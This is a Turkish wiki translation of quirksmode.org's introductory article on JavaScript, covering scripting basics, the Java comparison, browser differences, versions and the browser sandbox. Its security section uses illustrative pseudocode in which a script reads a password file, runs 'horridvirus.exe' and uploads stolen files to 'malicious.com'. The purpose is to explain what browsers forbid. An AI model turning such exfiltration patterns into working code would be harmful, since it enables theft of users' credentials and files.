Quirksmode.org/Tanışalım

Ceviz Viki sitesinden

Git ve: kullan, ara

This page has been copied from http://quirksmode.org/js/intro.html for permitted translation purposes.

Quirksmode.org yazıları : Tanışalım | Javascript Yerleşimi | Nesne kontrolü | İfadeler | Tarayıcı tespiti

Detaylı içindekiler tabloları için : Genel içindekiler tablosu | Javascript bölümünün içindekiler tablosu


Konu başlıkları

Genel tanıtım

Javascript çoğu kişi tarafından istemci-taraflı betik (scripting) dili olarak kullanılmaktadır. Bu Javascript kodunun HTML sayfalarının içine yazıldığı anlamına gelir. Bir ziyaretçi HTML sayfasını Javascript ile beraber alır, betik (script) tarayıcıya gönderildikten sonra, onu yorumlama işi tarayıcının sorumluluğundadır.

Betiğin (script) HTML sayfasıyla beraber geliyor olması, sayfanızı kim görüyorsa görsün onu kopyalayabileceği anlamına gelir. Buna rağmen, sizin açınızdan bakıldığında bu, sizin internette karşılaştığınız her betiği (script) görebileceğiniz, öğrenebileceğiniz anlamına da gelir.

Javascript tarayıcılardan başka yerlerde kullanılabilir. Netscape sunucu-taraflı bir CGI dili olarak Javascripti kullanmıştır, aynı Perl veya ASP gibi. Javascript ile karmaşık, gerçek programlar yapılabilir. Çevirinin yapıldığı site (quirksmode.org) Javascript in tarayıcılar üzerinde kullanılmasını konu edinmektedir.

Eğer herhangi bir programlama tecrübeniz yoksa bazı kolay Javascript örnekleriyle temellerini öğrenmek en iyi başlangıç yoludur. Şu kitabı almak iyi bir fikir olabilir (Negrino & Smith, “JavaScript for the World Wide Web”, 4th edition, Peachpit Press, 2001). Kitap çok kullanışlı örnekler içerir, bu örnekler ileri programlama becerileri gerektirmez, başlarken size oldukça yardımı dokunacaktır. Tabii bu sitenin (çevirinin yapıldığı site quirksmode.org) de size biraz yardımı dokunur.

Ayrıca şu kitabıda (Jeremy Keith, DOM Scripting: Web Design with JavaScript and the Document Object Model, 1st edition, Friends of Ed, 2005.) öneriyorum. Bu kitapta diğeri gibi, çok derinlere inmeden, fakat programcı olmayan kişilere örneğin grafik tasarımcı/CSS ustası kişiler için mükemmel bir Javascript bakış açısı kazandırmaktadır - çokca karşılaşılan problemleri çözmek için iyi bir bilgi vermektedir.

Javascript, Java'ya karşı

Javascript ve Java aynı şeyler değildir. Tekrar ediyorum: Javascript ve Java aynı şey değildir.

İsimlerinin çok benzemesi ile birlikte, Javascript ağırlıklı olarak HTML sayfalarında betik(script) yazmak için kullanılır, Java ise Javascript ten daha değişik şeyler yapan gerçek bir programlama dilidir. Ayrıca Java öğrenmesi daha zordur. Sun tarafından daha güçlü hesaplama ihtiyaçları için geliştirilmiş bir dildir.

Javascript Brendan Eich tarafından, Netscape de çalışırken bir istemci-taraflı betik (script) dili olarak geliştirilmiştir. (Yine de sunucu-taraflı programlamada kullanılmaması için bir sebep bulunmamaktadır.)

İlk başlarda bu dile Live Script ismi verilmişti, fakat sonra Java yayınlandı ve büyük bir hızla popüler olmaya başladı. Son anda Netscape bu betik (script) dilinin ismini "Javascript" olarak değiştirdi. Bu sadece pazarlama amaçlı yapılmış bir hareketti. Daha beteri, Eich bu dil için "Java diline benzet" direktifi almıştı. Bu insanlarda Javascripttin Java nın "aşağı versiyonu" olduğu hissinin uyanmasına neden olan hareket olmuştur. Maalesef bu hikayenin bütün parçaları tam olarak burada bulunmamaktadır.

Java ve Javascript C ve C++ ın indirgenmiş dillerdir, fakat bu diller (veya onların ataları) farklı yönlere yönelmiştir. Bu dillere baktığınız zaman aralarında bir akrabalık olduğunu hemen anlarsınız. Her ikisi nesne yönelimlidir (bu Javascript için diğerlerinden daha az önemli olsa da) ve yazım şekilleri (syntax) bakımından ortak bölümler içerirler, fakat aralarındaki farklar benzerliklerinden daha önemli ve fazladır.

Eğer C++ veya Java programcısıysanız ve Javascript in bazı özelliklerine şaşırdıysanız, benim Javascript den önce bir programlama deneyimim olmadığından, site üzerinde (çevirinin yapıldığı site : quirksmode.org) bu farklılıklara değinmedim. Bunun için, en iyisi (David Flanagan, “JavaScript, the Definitive Guide”, 5th edition, O’Reilly, 2006) kitabını alabilirsiniz. Bu kitapta C++/Java ve javascript çok anlaşılır bir şekilde açıklanmıştır. Bazı bölümlerin düzenlenmesinde yardımcı editörlük yaptığım bir kitaptır. (Burada yardımcı editörlük yapan şahıs quirksmode.org sitesinin sahibidir.)

Dil olarak Javascript

Javascript tam anlamıyla bir programlama dili sayılmaz. Bunun yerine kirli işleri tarayıcıya yaptırdığı için bir betik (scripting) dili olarak anılması daha doğru olur. Eğer bir resmin diğeriyle değişmesini istiyorsanız, Javascript tarayıcıya bunu anlatabilir. Esas işi tarayıcı yaptığı için, sizin tek ihtiyacınız, birtakım yazıları tarayıcının yaptığı işe göre oldukça kolay olan kodlarla yerleştirmektir. Bu Javascript i başlamak için kolay bir dil yapmaktadır.

Basit dediğimize bakıp yanılmayın: Javascript zor da olabilir. Herşeyden önce, basit görünümüne rağmen bir programlama dilinin tüm özelliklerine sahiptir: bu karmaşık programların Javascript ile yazılabilmesini sağlar. Bu özellik (karmaşık programlar yazabilme) internet sayfalarını kodlarken nadiren kullanılır, fakat mümkündür. Bu bazı karmaşık programlama yapılarını sadece uzun çalışmalardan sonra anlayabileceğiniz anlamına gelir.

İkinci ve çok önemli bir husus tarayıcılar arasındaki farklardır. Tüm modern internet tarayıcıları Javascript destekler, fakat hepsinin tamamen aynı Javascript i desteklemesi şartı yoktur. Bu sitenin (quirksmode.org) büyük bölümü tarayıcı farklarını keşfetmeye ve açıklamaya, ve onlarla nasıl başa çıkacağınızı anlatmaya ayrılmıştır.

Sonuç olarak temel Javascript öğrenmesi kolaydır, fakat ne zaman gelişmiş betikler yazmaya başlarsanız tarayıcı farklılıkları (ve nadir olarak yazım şekli (syntax) farklılıkları) boy gösterir.

Güvenlik

İstemci-taraflı Javascript açıkça HTML sayfalarının ekseninde geliştirilmiştir. Bunun güvenlik açısından bazı sonuçları vardır.

Herşeyden önce, bir ziyaretçi Javascript-etkin bir siteye girdiğinde neler olacağınz lütfen dikkat edelim: Kullanıcı belirli bir HTML sayfasını Javascript içerip içermediğini bilmeksizin talep eder. HTML sayfası tarayıcıya ulaştırılır, içindeki betik (script) ile birlikte. Sayfanın içindeki betikler genellikle sayfa yüklendiğinde otomatik olarak veya kullanıcı belli bir aktiviteyi gerçekleştirmek istediğinde çalışmaktadır. Genellikle kullanıcı bu betikleri durduramaz (evet, kullanıcı Javascript i tarayıcısında etkisizleştirmiş olabilir., fakat çok az son kullanıcı bunu nasıl yapabileceğini bilmektedir, ***or that it can be done, or that JavaScript exists***)

Temel olarak , masum bir son kullanıcı rastgele bir programı indirir ve kendi makinasında çalışmasına izin verir. Bu nedenle, bir programın ne yapıp ne yapamayacağına ilişkin katı kurallar bulunmalıdır.

  1. Javascript ziyaretçinin bilgisayarından dosya okuyup, o dosyalara yazamaz. Bu açıkca bir güvenlik açığı oluştururdu.
    filesystem.read('/my/password/file');
    filesystem.write('horridvirus.exe');
  2. Javascript başka programları çalıştıramaz. Eğer çalıştırabilseydi,bu da kabul edilemez bir güvenlik açığı oluştururdu.
    execute('horridvirus.exe')
  3. Javascript, sadece HTML sayfası açmak veya mail göndermek dışında başka bir bilgisayarla bağlantı kuramaz, bu kabul edilemez bir güvenlik açığı oluştururdu. Örneğin:
    var security_hazard = connection.open('malicious.com');
    security_hazard.upload(filesystem.read('/my/password/file'));
    security_hazard.upload(filesystem.read('/ultra_secret/loans.xls'));

Javascript basitçe bu tehlikeli şeylerin hiçbirini yapamaz, yapamamalıdır. Maalesef Microsoft bazı dosya sistemi komutlarını, kendi ActiveX teknolojisiyle birlikte Javascript e uyarlamıştır. Bu Windows üzerinde çalışan Explorer in yapısal olarak diğer bütün tarayıcılardan güvensiz olduğu anlamına gelmektedir. Kendi içinde bazı koruma mekanizmaları içersede hackerlar düzenli olarak onun açıklarını bulmaktadır. İlk JavaScript virüsünün bu anlattığımız yolla çalıştığını duymuştum.

Özetle, Javascript sadece HTML sayfasının içinde ve tarayıcının parçası olan yerlere müdahale edebilir, orada çalışabilir. Tarayıcının içermediği hiçbir şeyi Javascript ile etkileyemezsiniz. Fakat tarayıcının kapsamı içinde olduğu halde yine de Javascript ile müdahale edemeyeceğiniz alanlar da vardır. Temel olarak Javascript ziyaretçinizin özel bilgilerini korumak için bazı hareketlerinizi kısıtlar, bazıları için ise izin ister:

  1. Tarayıcının geçmişini okuyamazsınız. Kötü niyetli bir site sahibi, sizin o siteye girmeden önce nereleri ziyaret ettiğinizi tespit edebilecek bir betik yazamaz. Javascript ile tarayıcı geçmişinde ileri veya geri gidebilirsiniz, fakat hangi sayfadan geldiğinizi veya hangi sayfaya gideceğinizi tespit edemezsiniz. (Bu tamamen tarayıcıya bağlıdır.)
  2. Başka bir sunucudan gelen sayfalarla hiçbir şey yapamazsınız. Eğer çerçeveleriniz (frameset) farklı sunuculardan gelen iki sayfa içeriyorsa, onlar birbiriyle iletişime geçemezler. Kötü niyetli bir site sahibi diğer tarayıcı pencerelerinde hangi siteleri gezdiğinizi tespit edemez. Bu konuda detaylı bilgi için *** çerçeve tutuklama*** (frame busting) sayfasına bakınız.
  3. Dosya yükleme alanlarının(<input type="file">) değerlerini (hangi dosyayı yükleyeceklerini) değiştiremezsiniz.
    document.forms[0].upload_field.value = '/my/password/file';
    document.forms[0].submit();
  4. Eğer Javascript tarafından açılmamış bir pencereyi Javascript ile kapatmayı denerseniz, kullanıcının onayı alınır. Aslında, bu kural tüm tarayıcılara uyarlanmamıştır ve Internet Explorer da kolayca etrafından dolaşılarak aşılabilir.
  5. Eğer bir formu mail adresine Javascript ile yollamayı (post) denerseniz, kullanıcının onayı sorulacaktır.
  6. 100x100 pikselden daha küçük yeni pencere ve/veya ekranın görünen alanının dışında yeni bir pencere açamazsınız. Böylece kötü niyetli site sahipleri görünmez pencereler çıkartamazlar. Windows üzerinde çalışan bir Internet Explorer (ve bazı başka tarayıcılar) buna güvenlik düzenine aykırı olarak izin verebilir.

Böylece Javascript HTML öğelerini kullanan bir betik dili olarak, formlar, resimler, katmanlar, paragraflar ve bazı HTML öğesi olmayan nesneleri (tarayıcı penceresi gibi) yönetebilir. Ne daha fazlasını, ne de (***most importantly***) daha azını.

Tarayıcı uyumsuzlukları

Ziyaretçi Javascript içeren bir sayfayı aldığı zaman, tarayıcısında bulunan Javascript yorumlayıcısı, betiği devralır ve çalıştırmayı dener. Buradaki asıl sorunumuz çeşitli tarayıcıların kendine özgü yorumlayıcılarının olması, ve bazen çeşitli tarayıcı sağlayıcılarının Javascript in kullandığı bazı özellikleri desteklememeyi seçmiş olmasıdır. Bunu yapmalarının sebebi genellikle rakiplerine karşı üstünlük sağlamak içindir.

Bundan dolayı tarayıcı uyumsuzlukları meydana gelmektedir.

Bununla birlikte her yeni tarayıcı versiyonuyla daha fazla Javascript özelliği desteklenmekte ve bir HTML sayfasının daha fazla parçası betiklerle değiştirilebilir hale gelmektedir. Bu tarayıcılar arasında daha başka uyumsuzluklara yol açmaktadır.

Bu taşınabilirlik/uyumsuzluk problemlerini gidermenin en iyi yolu her temel durum için ayrı bir çözüm üretmektir. Aslında bu sitedeki (quirksmode.org) yazılmış çoğu sayfa tam olarak bu tarayıcı uyumsuzluğu problemleri nedeniyle hazırlanmıştır. Daha fazla bilgi edinmek için ilgili sayfaları okumaya devam ediniz. Fakat sizi uyarmalıyım : oldukça fazla bilgiyi kavramanız gerekecektir. Bu nedenle şu anda uğraştığınız sorunu çözecek bilgiyle ilgilenmeniz ve probleminizi çözmeniz, ve geri kalan bilgilere ihtiyaç duyduğunuzda göz atmanız en iyisidir.

Javascript versiyonları

Javascript in bugün birçok resmi sürümü bulunmaktadır.

  • 1.0 : Netscape 2
  • 1.1 : Netscape 3 ve Explorer 3 (ikincisi hangi versiyonda olursa olsun daha kötü Javascript desteğine sahiptir)
  • 1.2 : İlk 4. versiyon tarayıcılarda
  • 1.3 : Son 4. versiyon tarayıcılarda ve 5. versiyonlarda
  • 1.4 : Tarayıcılarda kullanılmamıştır, sadece Netscape tabanlı sunucularda kullanılmıştır.
  • 1.5 : Şu anda geçerli olan versiyon.
  • 2.0 : Brendan Eich ve diğerleri tarafından geliştirilen versiyondur. Aslında, bu versiyon numaraları tarayıcıların neyi destekledikleri konusunda bilgilendirme amaçlıdır. Belli başlı bazı metotlar (*this-and-that*) Javascript 1.x destekleyen tarayıcılar tarafından anlaşılabilir. Daha yüksek versiyon numaralarını destekleyen tarayıcılar, daha etkileyici özellikleri destekleyebilirler.
<script language="javascript1.3" type="text/javascript">
<!--
buraya yazılan betik sadece Javascript 1.3
destekleyen tarayıcılarda çalışır.
// -->
</script>
 
<script language="javascript1.0" type="text/javascript">
<!--
buraya yazılan betik tüm Javascript destekleyen
tarayıcılarda çalışır.
// -->
</script>

Maalesef Netscape 3 JavaScript include etiketini yorumlayamamaktadır. Eğer şu şekilde yazarsanız:

<script language="JavaScript1.3" src="somescript.js"></script>

Netscape 3 betiği yükler, Javascript 1.3 desteklemediği halde, ayrıca bir sürü hata mesajı da gösterir. Ne kötü.

Benim betiklerim tarayıcı tarafından çalıştırılabilir mi?

Bununla birlikte, bir ayrımın iyi yapılması gerekiyor. Javascript in iki ana parçası çekirdeği ve DOM dur, bunları daha ilerideki maddelerde detaylıca açıklayacağım. Javascript versiyonları çekirdeğin neleri desteklediğini bulmanıza çok yardımcı olur, ancak DOM un herhangi bir tarayıcı özelliği için neyi desteklediğini bulmakta yetersizdir.

Ek olarak, Netscape 4 üzerinde Javascript 1.2 kullanmak burada şimdi açıklayamayacağımız karmaşık yan etkilere sebep olmaktadır.

Bu nedenle, versiyon ayrımına çok az önem veriyorum, size de versiyon ayrımını kullanmamanızı tavsiye ediyorum. İki tarayıcı birden Javascript 1.2 destekleyebilir fakat bununla birlikte verdikleri destek tamamen farklı olabilir (Netscape 4 ve Explorer 4 ü aklınıza getirin). Bu yüzden her gün yazdığımız betikler için Javascript versiyonları arasındaki fark önemsizdir.

O zaman bir tarayıcının yazdığınız betiği çalıştırabileceğini nasıl anlarsınız? Temel kural şudur: tarayıcı tespiti değil, nesne kontrolü kullanın.

Yeni baslayanlar

Eger JavaScript ogrenmeye yeni basladiysaniz, once nesne kontrolü sayfasini okuyun. Bu sayfa bu sitedeki en onemli sayfadir, cunku size JavaScript'in su temel kuralini gosterir: tarayiciyi tanimaya degil, nesneyi tanimaya calisin.

Bu sayfayi okuduktan sonra mouseover betigini denemeniz cok iyi olur. Bu efekt hala cok populer, ve betigi biraz inceledikten sonra (Core, DOM Level 0 ve Event Handling)(?) konularinin temelini anlamis olacaksiniz.

Ondan sonra kendi basinizasiniz. Ileride JavaScript'in cesitli modulleriyle ilgili daha (structured)(duzenli) bir tanitim metni yazacagim.

Kişisel araçlar